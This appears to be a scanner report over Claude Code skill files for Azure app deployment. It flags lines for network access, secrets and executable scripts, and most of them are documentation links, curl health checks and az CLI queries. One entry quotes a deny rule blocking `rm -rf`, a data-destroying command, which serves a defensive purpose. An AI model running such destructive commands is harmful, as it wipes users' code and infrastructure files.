> Source: [Microsoft — Passwordless connections for Azure services](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) and [Azure Identity client libraries](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 122
- [Passwordless connections overview](https://learn.microsoft.com/azure/developer/intro/passwordless-overview) - Network accessline 123
- [Managed identities overview](https://learn.microsoft.com/entra/identity/managed-identities-azure-resources/overview) - Network accessline 124
- [Azure RBAC overview](https://learn.microsoft.com/azure/role-based-access-control/overview) - Network accessline 125
- [.NET authentication guide](https://learn.microsoft.com/dotnet/azure/sdk/authentication/) - Network accessline 126
- [Python identity library](https://learn.microsoft.com/python/api/overview/azure/identity-readme) - Network accessline 127
- [JavaScript identity library](https://learn.microsoft.com/javascript/api/overview/azure/identity-readme) - Network accessline 128
- [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)
harness/claude-code/skills/azure-ai/references/sdk/azure-ai-transcription-py.md
harness/claude-code/skills/azure-ai/references/sdk/azure-ai-translation-ts.md
- Access to secretsline 14
[Credential-related source omitted]
harness/claude-code/skills/azure-airunway-aks-setup/references/steps/step-5-deploy.md
harness/claude-code/skills/azure-airunway-aks-setup/references/steps/step-6-summary.md
- Network accessline 22
echo "Endpoint not yet available — model may still be starting" else curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 23
else curl -X POST "${ENDPOINT}/v1/chat/completions" \ -H "Content-Type: application/json" \ - Network accessline 24
curl -X POST "${ENDPOINT}/v1/chat/completions" \ - Network accessline 30
> **If the endpoint is a cluster-internal URL** (e.g., `http://svc-name.namespace:port`), set up port-forwarding first: - Network accessline 35
> > kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint - Network accessline 36
> kubectl port-forward svc/<service-name> 8080:${SERVICE_PORT} -n <namespace> & > # Then use http://localhost:8080 as the endpoint > ``` - Network accessline 37
> # Then use http://localhost:8080 as the endpoint
harness/claude-code/skills/azure-api-center/SKILL.md
- Network accessline 123
- [Azure API Center](https://learn.microsoft.com/azure/api-center/) - Network accessline 124
- [Register APIs in API Center](https://learn.microsoft.com/azure/api-center/register-apis) - Network accessline 125
- [API governance and linting](https://learn.microsoft.com/azure/api-center/enable-api-analysis-linting) - Network accessline 126
- [API Center and API Management](https://learn.microsoft.com/azure/api-center/)
harness/claude-code/skills/azure-app-onboard-prereq/references/prereq-schemas.ts
- Executable scriptline 1
Executable file - Network accessline 64
buildRequirements?: BuildRequirements; /** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. - Network accessline 65
/** Detected health endpoint path (e.g., "/health", "/api/v1/health/"). * Used by scaffold for Azure health probe config and deploy for curl health check. * null if no health endpoint found (triggers W-HEALTH warning). */ - Network accessline 66
* Used by scaffold for Azure health probe config and deploy for curl health check.
harness/claude-code/skills/azure-app-onboard-prereq/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-app-onboard/references/deploy/blocked-patterns.md
- Dangerous shell operationline 7
| `rm -rf` (any path outside a fresh temp dir) | ⛔ Block | Prevents accidental deletion of IaC, app code, or session artifacts — especially `infra/`, `.azure/`, `.copilot-azure/`. |
harness/claude-code/skills/azure-app-onboard/references/deploy/code-deployment-appservice.md
harness/claude-code/skills/azure-app-onboard/references/deploy/code-deployment-container-apps.md
- Network accessline 25
| Step | Command | Notes | |------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use - Network accessline 26
|------|---------|-------| | 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see - Network accessline 27
| 1. Build image | `az acr build --subscription {subscriptionId} -r {acrName} -t {appName}:latest . --no-logs` | Builds from workspace root. If `buildRequirements.hasBuildKitSyntax`, use `-f Dockerfile.azure` (see BuildKit handling below).
harness/claude-code/skills/azure-app-onboard/references/deploy/code-deployment-swa.md
- Access to secretsline 24
[Credential-related source omitted] - Network accessline 52
- **Hostname** — `swa deploy` produces no ARM endpoint output, so fetch it: `$swaHost = az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv` - `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` ( - Network accessline 53
- `endpoints[]` — `[{ name, url: "https://$swaHost", healthStatus: "healthy" }]` (HTTP GET `https://$swaHost/` → 2xx confirms healthy)
harness/claude-code/skills/azure-app-onboard/references/deploy/deploy-checklist-template.md
- Network accessline 55
- ACR build failures count toward healing counter - Windows: append `--no-logs` to `az acr build` to avoid UnicodeEncodeError - ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on ` - Network accessline 57
- ⛔ After the revision is ready, run an explicit live HTTP probe against the ingress FQDN (`curl -sSfL`/`iwr` on `*.azurecontainerapps.io`) — this call IS the health check; capture the result into `deploy-result.json.endpoints[].healthStatu - Access to secretsline 65
[Credential-related source omitted]
harness/claude-code/skills/azure-app-onboard/references/deploy/deploy-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-app-onboard/references/deploy/health-check-patterns.md
- Network accessline 22
If the first health check returns **301 or 302**: 1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 23
1. Read the `Location` header: `curl -sI "https://{fqdn}{probePath}" | Select-String "^location:" -CaseSensitive:$false` - Network accessline 54
|---------|---------------| | Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 55
| Container Apps | `latestReadyRevisionName` not empty + HTTP on ingress FQDN | | App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | | Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname - Network accessline 56
| App Service | HTTP GET `https://{name}.azurewebsites.net/` + `/health` | - Network accessline 57
| Static Web Apps | HTTP GET `https://{defaultHostname}/` → 2xx = `healthy` (hostname: `az staticwebapp show -n {swa} -g {rg} --query defaultHostname -o tsv`) | - Network accessline 64
> ⛔ **Container Apps — run an explicit live HTTP probe (the pipeline status is NOT sufficient).** After `latestReadyRevisionName` is set, run an observable request against the ingress FQDN and capture the result into `deploy-result.json.end - Network accessline 65
> ```powershell > iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell > curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 66
> iwr "https://{ingressFqdn}/{probePath}" -UseBasicParsing # PowerShell - Network accessline 67
> curl -sSfL "https://{ingressFqdn}/{probePath}" # bash - Network accessline 76
{ "name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", - Network accessline 77
"name": "api", "url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io", "healthStatus": "healthy" // healthy | degraded | unreachable | unknown - Network accessline 78
"url": "https://myapp-ca-dev-a1b2.azurecontainerapps.io",
harness/claude-code/skills/azure-app-onboard/references/deploy/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/claude-code/skills/azure-app-onboard/references/deploy/portal-links.md
- Network accessline 11
$deploymentName = "app-onboard-deploy-$("{sessionId}".Substring(0,8))" $resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDeta - Network accessline 12
$resId = "/subscriptions/{subscriptionId}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" Write-Output "LIN - Network accessline 13
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 27
$resId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Resources/deployments/$deploymentName" $link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F') - Network accessline 28
$link = "https://portal.azure.com/#view/HubsExtension/DeploymentDetailsBlade/~/overview/id/$($resId.Replace('/', '%2F'))" - Network accessline 33
For Terraform (no single ARM deployment): `https://portal.azure.com/#@{tenantId}/resource/subscriptions/{subscriptionId}/resourceGroups/{resourceGroup}/activitylog` - Network accessline 51
⚠<U+FE0F> Previous deployment link is stale — use this one: https://portal.azure.com/.../{newDeploymentName} - Network accessline 52
https://portal.azure.com/.../{newDeploymentName}
harness/claude-code/skills/azure-app-onboard/references/deploy/preflight-checks.md
- Network accessline 17
- Success → proceed. Active subscription + tenant confirmed. - Failure → `ENVIRONMENT_BLOCKING`. Suggest `az login` (plain, no scope). - ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for - Network accessline 19
- ⛔ NEVER suggest `az login --scope https://graph.microsoft.com/.default` — Graph scope is irrelevant for ARM deployments.
harness/claude-code/skills/azure-app-onboard/references/handoff-protocol.md
- Network accessline 12
> 📁 Resource Group: {context.json.azure.resourceGroup} > 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview - Network accessline 13
> 🌍 Region: {context.json.azure.region} > 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview > ``` - Network accessline 14
> 🔗 Portal: https://portal.azure.com/#@/resource/subscriptions/{subId}/resourceGroups/{rgName}/overview
harness/claude-code/skills/azure-app-onboard/references/iac-resources.md
- Network accessline 7
| Resource | URL | Use When | |----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 8
|----------|-----|----------| | Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | | Azure Resource Reference | https://learn.microsoft.com/en-u - Network accessline 9
| Bicep Documentation | https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/ | Syntax, file structure, deployment scopes, install | - Network accessline 10
| Azure Resource Reference | https://learn.microsoft.com/en-us/azure/templates/ | Resource properties, API versions, schema per type | - Network accessline 14
| Resource | URL | Use When | |----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 15
|----------|-----|----------| | Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | | Terraform Registry — azapi | https://registry. - Network accessline 16
| Terraform Registry — azurerm | https://registry.terraform.io/providers/hashicorp/azurerm/latest | Resource type properties, argument reference, import blocks | - Network accessline 17
| Terraform Registry — azapi | https://registry.terraform.io/providers/azure/azapi/latest | Preview resources not yet in azurerm; maps to ARM REST APIs | - Network accessline 34
| Resource | URL | Use When | |----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvail - Network accessline 35
|----------|-----|----------| | Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any AR - Network accessline 36
| Common ARM Deployment Errors | https://learn.microsoft.com/en-us/azure/azure-resource-manager/troubleshooting/common-deployment-errors | `InvalidTemplateDeployment`, `SkuNotAvailable`, `QuotaExceeded`, any ARM error code | - Network accessline 37
| App Service Troubleshooting | https://learn.microsoft.com/en-us/troubleshoot/azure/app-service/ | Startup crashes, Kudu/Oryx build failures, health probe issues | - Network accessline 38
| App Service Zip Deploy Guide | https://learn.microsoft.com/en-us/azure/app-service/deploy-zip | Zip deploy, SCM_DO_BUILD_DURING_DEPLOYMENT, Kudu publish API | | Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/cont - Network accessline 39
| Container Apps Troubleshooting | https://learn.microsoft.com/en-us/azure/container-apps/troubleshooting | Revision failures, ingress errors, secret resolution, image pull failures | - Network accessline 40
| Quota Increase Portal | https://portal.azure.com/#blade/Microsoft_Azure_Capacity/QuotaMenuBlade/myQuotas | Direct link for quota increase requests |
harness/claude-code/skills/azure-app-onboard/references/mcp-tool-reference.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs for current parameter names and allowed values: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tool - Network accessline 28
> **Additional global params** (not commonly needed by AppOnboard): `authentication-method` (credential\|key\|connectionString), `max-retries` (default 3), `retry-delay` (default 2s), `retry-delay-maximum` (default 10s), `retry-mode` (fixed
harness/claude-code/skills/azure-app-onboard/references/phases/deploy.md
- Network accessline 43
| 4 | **Deploy approval gate** | Present cost + resource summary per `deploy-checklist.md` § Deploy approval gate format. | — | — | | 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), wr - Network accessline 44
| 5b | **Write deploy-result.json skeleton** | ⛔ Read [`deploy-schemas.ts`](../deploy/deploy-schemas.ts), write skeleton (`status: "in-progress"`). Must exist BEFORE first `az` command. | `deploy-result.json` | ⛔ **You MUST read [`deploy-sc - Network accessline 45
| 6 | **Execute deployment** | ⛔ **BEFORE `az deployment sub create`:** Generate portal link — `$dn="{deploymentName}"; $r="/subscriptions/{subId}/providers/Microsoft.Resources/deployments/$dn"; $l="https://portal.azure.com/#view/Microsoft_
harness/claude-code/skills/azure-app-onboard/references/prepare/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/claude-code/skills/azure-app-onboard/references/prepare/naming-patterns.md
- Network accessline 5
> **Reference:** [Azure naming conventions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/resource-naming) — link, don't duplicate. Check docs for updates.
harness/claude-code/skills/azure-app-onboard/references/prepare/prepare-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-app-onboard/references/prepare/pricing-guide-services.md
- Network accessline 197
**Not in the Retail Prices API.** Fixed pricing — query [azure.microsoft.com/pricing/details/app-service/static](https://azure.microsoft.com/en-us/pricing/details/app-service/static/):
harness/claude-code/skills/azure-app-onboard/references/prepare/pricing-guide.md
- Network accessline 66
When `pricing_get` returns empty: (1) Check `armSkuName` populated/case-sensitive? (2) HTTP fallback: `https://prices.azure.com/api/retail/prices?$filter={filter}`. (3) After 2 failures, use [pricing-guide-services.md](pricing-guide-service
harness/claude-code/skills/azure-app-onboard/references/prepare/sku-quota-validation.md
- Network accessline 35
$sub = '{subscriptionId}'; $sku = '{sku}' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/ - Network accessline 36
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=20 - Network accessline 37
$limit = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/quotas/$sku?api-version=2023-02-01" --query "properties.limit.value" -o tsv 2>$null - Network accessline 38
$used = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.Web/locations/$_/providers/Microsoft.Quota/usages/$sku?api-version=2023-02-01" --query "properties.usages.value" -o tsv 2>$null - Network accessline 48
az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/Microsoft.App/locations/{region}/usages?api-version=2024-03-01" --query "value[?name.value=='ManagedEnvironmentCount'].{used:currentValue, limit:limit}" - - Network accessline 86
$sub = '{subscriptionId}'; $provider = 'Microsoft.DBforPostgreSQL'; $apiVer = '2022-12-01' @('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$s - Network accessline 87
@('{userRegion}','{alt1}','{alt2}','{alt3}') | ForEach-Object { $result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].sup - Network accessline 88
$result = az rest --method get --url "https://management.azure.com/subscriptions/$sub/providers/$provider/locations/$_/capabilities?api-version=$apiVer" --query "value[0].supportedFlexibleServerEditions[0].name" -o tsv 2>$null
harness/claude-code/skills/azure-app-onboard/references/prepare/subagent-pricing.md
- Network accessline 42
- ⛔ **Do NOT invoke ANY skills** — no `{"skill": "azure-validate"}`, `{"skill": "azure-prepare"}`, or any other skill call. You are a pricing subagent only. Use direct HTTP to `https://prices.azure.com/api/retail/prices` for price queries ( - Network accessline 45
- ⛔ For services with empty `armSkuName` (Container Apps, Functions Consumption, ACR, Storage, Cosmos, Key Vault): use `filter`/`meterName` matching — a `sku` filter returns `[]` - ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 - Network accessline 46
- ⛔ **Monthly multiplier = each meter's `unitOfMeasure`** (`1 Hour`→×730, `1/Day`→×30 [ACR/registry, SQL DTU], `1 GB/Month`→×GB, `1 Second`→usage) — NEVER blanket ×730; applying ×730 to a `1/Day` meter overstates ~24× - ⛔ Use direct HTTP to - Network accessline 47
- ⛔ Use direct HTTP to `https://prices.azure.com/api/retail/prices` for all price lookups. Do NOT use `mcp_azure_mcp_pricing` — it was already tried inline and failed.
harness/claude-code/skills/azure-app-onboard/references/prepare/validation-rubric.md
- Network accessline 8
|-----------|---------------| | **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment* - Network accessline 9
| **Goal Alignment** | Every `context.json.intent` field reflected in service/SKU choice. No orphaned services (every service maps to a component or supporting role). `overrides[]` honored. | | **WAF Alignment** | **Cost:** SKU matches budg - Network accessline 10
| **WAF Alignment** | **Cost:** SKU matches budget; alternatives document cost tradeoffs. **Reliability:** Production plans include zone-redundant SKUs, GRS storage. **Security:** Managed identity + Key Vault; private endpoints where budget - Network accessline 22
- [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — pillar definitions and tradeoff guidance - Network accessline 23
- [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) — per-service WAF alignment checklists
harness/claude-code/skills/azure-app-onboard/references/scaffold/bicep-container-apps.md
- Network accessline 116
> ❌ **WRONG — `environment().suffixes.keyvaultDns` produces double-dot URL:** > `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 117
> `keyVaultUrl: 'https://${kvName}${environment().suffixes.keyvaultDns}/secrets/...'` - Network accessline 133
// ⛔ Do NOT replace vault.azure.net with environment().suffixes.keyvaultDns — it adds a leading dot → double-dot URL #disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets - Network accessline 134
#disable-next-line no-hardcoded-env-urls keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' // Uses the CA's system-assigned managed identity - Network accessline 135
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 188
Container Apps in the same environment communicate via internal DNS: `http://{container-app-name}`. Set via env vars: - Network accessline 191
env: [ { name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 192
{ name: 'API_URL', value: 'http://${apiContainerApp.name}' } - Network accessline 193
{ name: 'WORKER_URL', value: 'http://${workerContainerApp.name}' }
harness/claude-code/skills/azure-app-onboard/references/scaffold/bicep-patterns-security.md
- Network accessline 20
> **Source:** Adapted from Azure security best practices. See [Azure security baseline](https://learn.microsoft.com/en-us/security/benchmark/azure/overview) for updates. - Access to secretsline 77
[Credential-related source omitted] - Network accessline 79
> **Container Apps exception:** Phase 1 of two-phase deployment uses `secrets: []` — NO secrets at all (not plaintext, not KV). KV `secretRef` entries are activated in Phase 2 after RBAC propagates. See [bicep-container-apps.md](../scaffold - Network accessline 80
> > ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.ne - Network accessline 81
> ⛔ **Container Apps KV URL — do NOT use `environment().suffixes.keyvaultDns`.** That function returns `.vault.azure.net` (WITH leading dot) → double-dot URL → `ContainerAppSecretKeyVaultUrlInvalid`. Use `'https://${kvName}.vault.azure.net/
harness/claude-code/skills/azure-app-onboard/references/scaffold/bicep-patterns.md
- Network accessline 5
> **Source:** Adapted from Azure Bicep best practices. See [Bicep best practices](https://learn.microsoft.com/en-us/azure/azure-resource-manager/bicep/best-practices) for updates. - Network accessline 76
{ "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", - Network accessline 77
"$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
harness/claude-code/skills/azure-app-onboard/references/scaffold/dockerfile-generation.md
- Network accessline 59
1. Dockerfile MUST include `ARG NEXT_PUBLIC_API_URL` before the `RUN npm run build` step 2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 60
2. Deploy phase passes `--build-arg NEXT_PUBLIC_API_URL=https://{api-fqdn}` to `az acr build` - Network accessline 62
Detect from `.env*` files containing `NEXT_PUBLIC_*` pointing to another service (e.g., `NEXT_PUBLIC_API_URL=http://localhost:3001`).
harness/claude-code/skills/azure-app-onboard/references/scaffold/env-var-secrets.md
- Network accessline 12
> **Pitfalls:** `CORS_ORIGINS=["*"]` → invalid for strict validators (use actual URLs). `DATABASE_URL=changethis` → use KV ref. JSON array env vars need Bicep variable escaping: > ```bicep > var corsOrigins = '["https://${containerApp.prope - Network accessline 13
> ```bicep > var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' > { name: 'CORS_ORIGINS', value: corsOrigins } - Network accessline 14
> var corsOrigins = '["https://${containerApp.properties.configuration.ingress.fqdn}"]' - Network accessline 35
{ name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Network accessline 36
name: 'db-connection-string' keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' identity: 'system' - Network accessline 37
keyVaultUrl: 'https://${keyVault.name}.vault.azure.net/secrets/db-connection-string' - Access to secretsline 56
[Credential-related source omitted]
harness/claude-code/skills/azure-app-onboard/references/scaffold/iac-generation-rules.md
- Network accessline 61
⛔ Read [`bicep-patterns-security.md`](bicep-patterns-security.md) (or `terraform-patterns.md` § Security Defaults) and verify ALL security patterns from Step 5. If deployment includes compute with MI ↔ resource RBAC, ⛔ read [rbac-roles.md](
harness/claude-code/skills/azure-app-onboard/references/scaffold/mcp-tools.md
- Network accessline 5
> **Troubleshooting:** If a tool call fails with unknown parameter or missing command errors, consult the official docs: <https://learn.microsoft.com/en-us/azure/developer/azure-mcp-server/tools/>
harness/claude-code/skills/azure-app-onboard/references/scaffold/scaffold-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-app-onboard/references/scaffold/self-review-checklist.md
- Network accessline 112
Per-pillar spot check against [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/).
harness/claude-code/skills/azure-app-onboard/references/scaffold/terraform-patterns.md
harness/claude-code/skills/azure-app-onboard/references/scaffold/waf-checklist.md
- Network accessline 5
> **Reference:** [Azure Well-Architected Framework](https://learn.microsoft.com/en-us/azure/well-architected/) — link, don't duplicate. See [WAF Service Guides](https://learn.microsoft.com/en-us/azure/well-architected/service-guides/) for p
harness/claude-code/skills/azure-app-onboard/references/session-schemas.ts
- Executable scriptline 1
Executable file
harness/claude-code/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.ps1
- Executable scriptline 1
#!/usr/bin/env pwsh
harness/claude-code/skills/azure-app-onboard/scripts/scaffold/scaffold-conformance.sh
- Executable scriptline 1
#!/usr/bin/env bash
harness/claude-code/skills/azure-architecture-autopilot/.gitignore
- Access to secretsline 23
[Credential-related source omitted]
harness/claude-code/skills/azure-architecture-autopilot/references/architecture-guidance-sources.md
- Network accessline 32
| ID | Document | URL | Purpose | |----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 33
|----|----------|-----|---------| | A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | | A2 | Well-Architected Framework | https://learn.microso - Network accessline 34
| A1 | Azure Architecture Center | https://learn.microsoft.com/en-us/azure/architecture/ | Hub — Entry point for finding domain-specific documents | - Network accessline 35
| A2 | Well-Architected Framework | https://learn.microsoft.com/en-us/azure/architecture/framework/ | Security/reliability/performance/cost/operations principles | - Network accessline 36
| A3 | Cloud Adoption Framework / Landing Zone | https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/landing-zone/ | Enterprise governance, network topology, subscription structure | - Network accessline 37
| A4 | Azure AI/ML Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/ | AI/ML workload reference architecture hub | - Network accessline 38
| A5 | Basic Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/basic-azure-ai-foundry-chat | Basic Foundry-based chatbot structure | - Network accessline 39
| A6 | Baseline AI Foundry Chat Reference Architecture | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/architecture/baseline-openai-e2e-chat | Foundry chatbot enterprise baseline (including network isolation) | - Network accessline 40
| A7 | RAG Solution Design Guide | https://learn.microsoft.com/en-us/azure/architecture/ai-ml/guide/rag/rag-solution-design-and-evaluation-guide | RAG pattern design guide | - Network accessline 41
| A8 | Microsoft Fabric Overview | https://learn.microsoft.com/en-us/fabric/get-started/microsoft-fabric-overview | Fabric platform overview and workload understanding | - Network accessline 42
| A9 | Fabric Governance / Adoption | https://learn.microsoft.com/en-us/power-bi/guidance/fabric-adoption-roadmap-governance | Fabric governance, adoption roadmap | - Network accessline 48
| Document | URL | Notes | |----------|-----|-------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target | - Network accessline 50
| Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service changes/new feature announcements. Not a targeted fetch target |
harness/claude-code/skills/azure-architecture-autopilot/references/azure-dynamic-sources.md
- Network accessline 13
| Service | MS Docs URL | |---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 14
|---------|-------------| | CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | | AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searc - Network accessline 15
| CognitiveServices (Foundry/OpenAI) | https://learn.microsoft.com/en-us/azure/templates/microsoft.cognitiveservices/accounts | - Network accessline 16
| AI Search | https://learn.microsoft.com/en-us/azure/templates/microsoft.search/searchservices | - Network accessline 17
| Storage Account | https://learn.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts | - Network accessline 18
| Key Vault | https://learn.microsoft.com/en-us/azure/templates/microsoft.keyvault/vaults | - Network accessline 19
| Virtual Network | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/virtualnetworks | - Network accessline 20
| Private Endpoints | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privateendpoints | - Network accessline 21
| Private DNS Zones | https://learn.microsoft.com/en-us/azure/templates/microsoft.network/privatednszones | - Network accessline 22
| Fabric | https://learn.microsoft.com/en-us/azure/templates/microsoft.fabric/capacities | - Network accessline 23
| Data Factory | https://learn.microsoft.com/en-us/azure/templates/microsoft.datafactory/factories | - Network accessline 24
| Application Insights | https://learn.microsoft.com/en-us/azure/templates/microsoft.insights/components | - Network accessline 25
| ML Workspace (Hub) | https://learn.microsoft.com/en-us/azure/templates/microsoft.machinelearningservices/workspaces | - Network accessline 33
https://learn.microsoft.com/en-us/azure/templates/microsoft.{provider}/{resourceType} - Network accessline 42
| Verification Method | URL / Command | |--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 43
|--------------------|---------------| | MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | | Azure CLI (existing resources) | `az cognitiveservices account list-models --name "<NAME>" - Network accessline 44
| MS Docs model availability | https://learn.microsoft.com/en-us/azure/ai-services/openai/concepts/models | - Network accessline 55
| Verification Method | URL | |--------------------|-----| | PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 57
| PE DNS integration official docs | https://learn.microsoft.com/en-us/azure/private-link/private-endpoint-dns | - Network accessline 67
| Verification Method | URL | |--------------------|-----| | Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 69
| Azure service-by-region availability | https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/ | - Network accessline 77
| Source | URL | Purpose | |--------|-----|---------| | Azure Updates | https://azure.microsoft.com/en-us/updates/ | Service change awareness | - Network accessline 78
